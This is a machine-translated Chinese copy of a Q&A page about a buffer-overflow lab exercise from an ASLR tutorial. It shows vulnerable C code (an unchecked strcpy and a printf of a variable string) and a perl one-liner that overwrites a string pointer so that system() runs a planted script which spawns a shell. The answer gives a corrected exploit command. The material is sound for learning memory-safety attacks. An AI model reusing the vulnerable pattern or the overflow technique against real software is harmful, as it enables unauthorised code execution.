/bin/sh 调用生成“sh:1:语法错误:”)“意外”,脚本第一行带有 shebang

问题描述 投票:0回答:1

我正在解决 Tilo Muller 的 “ASLR Smack & Laugh Reference” 中的问题 5.1(字符串指针),并生成以下错误:

sh: 1: Syntax error: ")" unexpected

当 shell 脚本尝试运行 /bin/sh 时。易受攻击的代码(strptr.c):

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[1])
{
    char input[256];
    char* conf = "test -f ~/.progrc";
    char* license = "THIS SOFTWARE IS...";

    printf(license);
    strcpy(input, argv[1]);
    if (system(conf)) printf("Missing .progrc");
}

攻击者覆盖input缓冲区,并将堆栈上conf的地址替换为license的地址。使用 gdb,我们确定 license 的地址是 0x08048582,并且通过将 license 的地址放在堆栈上,系统调用将尝试将 "THIS" 解释为可执行文件。环境路径中有一个名为“THIS”的可执行(chmod 777)bash脚本,我已经能够多次覆盖conf的字符串指针,但是当系统尝试执行“THIS”时收到以下输出:

$ ./strptr `perl -e 'print "A"x256; print "\x82\x85\04\08"'

sh: 1: Syntax error: ")" unexpected
THIS SOFTWARE IS...Missing .progrc

shell 脚本“THIS”:

#!/bin/sh

/bin/sh

自然地,我开始搜索类似错误的描述,并阅读以下内容:

1 - sh-1-语法错误-意外错误

2 - bash-script-process-substitution-syntax-error-unexpected

3 - 使用系统函数调用来执行 shell 命令

4 - 为什么进程替换在 shell 脚本中不起作用;并不是说我的脚本中有进程重定向,但你永远不知道什么时候你会偶然发现你需要的东西:)

我还查看了 man system() 页面,但没有找到任何与我的问题相关的内容。

我正在 ubuntu 上测试这段代码:

Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux

我在主机上尝试了不同的 shell(sh、bash、dash)并收到了相同的错误。我还在脚本中测试了其他 shell 命令(日期、id 和 ifconfig)并生成了相同的错误。 “THIS” 脚本从命令行运行时没有错误。

通读堆栈溢出,有很多类似的问题,但没有一个潜在的提示能够解决。感谢您的耐心和帮助。

linux bash
1个回答
0
投票

您的示例中似乎有不平衡的引号,使用了已弃用的反引号,我猜它缺少一些

\x
然后生成 NUL 字节,请尝试:

$ ./strptr $(perl -e 'print "A"x256; print "\x82\x85\x04\x08"')
© www.soinside.com 2019 - 2024. All rights reserved.